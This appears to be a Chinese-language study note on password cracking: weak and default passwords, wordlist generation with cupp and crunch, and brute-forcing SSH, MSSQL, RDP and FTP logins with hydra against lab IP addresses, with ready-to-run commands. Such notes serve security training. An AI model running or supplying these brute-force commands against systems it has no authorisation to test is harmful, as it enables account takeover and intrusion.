口令破解:
易破解的口令如下:
- 弱口令:比如12345、00000這種簡單的密碼
- 默認口令:服務或者軟件自動生成的口令:比如PHPstudy中自動生成MySQL密碼為root。
- 明文傳輸:HTTP、FTP、Telnet等傳輸協議。
暴力破解:
- 在線破解:破解過程中賬戶需要驗證
- 離線破解:密文還原成明文的過程。
字典生成工具
字典:
- 弱口令字典:
- 社工字典:
社工字典cupp:
安裝:apt-get install cupp
使用方法 cupp -i
即可按照提示步驟生成字典:
之后就會生成成功
這是它的提示:
-i 是按照提示步驟實施
-w 是引入字典
-l 是下載網上字典
-a 是來自數據庫直接解析密碼
弱口令字典:crunch
kali自帶,無需安裝。
詳細內容見 man crunch
- 使用方法:
crunch <min> <max> [<charset string>] [options]
:min和max分別是密碼的最小長度和最大長度,后面可以加上字符集和其他選項。 - 比如crunch 1 8 :輸出a~zzzzzzzz所有可能的密碼
參數;
-b 指定文件輸出的大小,避免字典文件過大
-c 指定文件輸出的行數,記包含密碼的個數
-d 限制相同元素出現的次數
-e 定義停止字符,即到該字符串就停止生成
-f 調用庫文件(/usr/share/crunch/charset.lst)
-i 改變輸出格式,即aaa,aab -> aaa,baa
-o 將密碼保存到指定文件
-q 讀取密碼文件,即讀取pass.txt
-r 定義重復一個字符串就重新開始
-s 指定一個開始的字符
-t 指定密碼輸出的格式
-u 禁止打印百分比
-z 壓縮生成的字典文件,支持gzip,bzip2,lzma,7z
-l 生成特殊字符
-p 指定生成元素
特殊字符
%代表數字
^代表特殊符號
@代表小寫字母
,代表大寫字母
樣例,來源於man crunch
- crunch 1 6 abcdefg
crunch will display a wordlist using the character set abcdefg that starts at a and ends at gggggg - crunch 1 6 abcdefg
there is a space at the end of the character string. In order for crunch to use the space you will need to escape it using the \ character. In this example you could also put quotes around the letters and not need the , i.e. "abcdefg ". Crunch will display a wordlist using the character set abcdefg that starts at a and ends at (6 spaces):從a到6個空格結束 - crunch 1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt
crunch will use the mixalpha-numeric-all-space character set from charset.lst and will write the wordlist to a file named wordlist.txt. The file will start with a and end with " " - crunch 4 5 -p abc
The numbers aren’t processed but are needed.crunch will generate abc, acb, bac, bca, cab, cba.
等等
口令破解工具hydra
-l 指定一個用戶名
-p指定一個密碼
-P指定密碼字典
-L 指定用戶名字典
-vV顯示爆破細節
-o保存爆破結果
-f找到正確密碼就停止爆破
-e n(null)、s(same)、r(反向)
-e nsr
-t 線程
實例:
破解ssh:hydra -l zeker62 -P pwd.dic 192.168.223.133 ssh -vV -f -e nsr
結果,破解成功:
據說這個九頭蛇啥都可以破解:
參考資料:https://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html
破解MSSQL 口令
hydra -l sa -P /root/dic/test_pwd.dic 192.168.1.150 mssql -vV
破解RDP 口令
hydra -l administrator -P /root/dic/test_pwd.dic 192.168.1.150 rdp -vV
破解FTP 口令
hydra -L /root/dic/test_user.dic -P /root/dic/test_pwd.dic 192.168.1.150 ftp -vV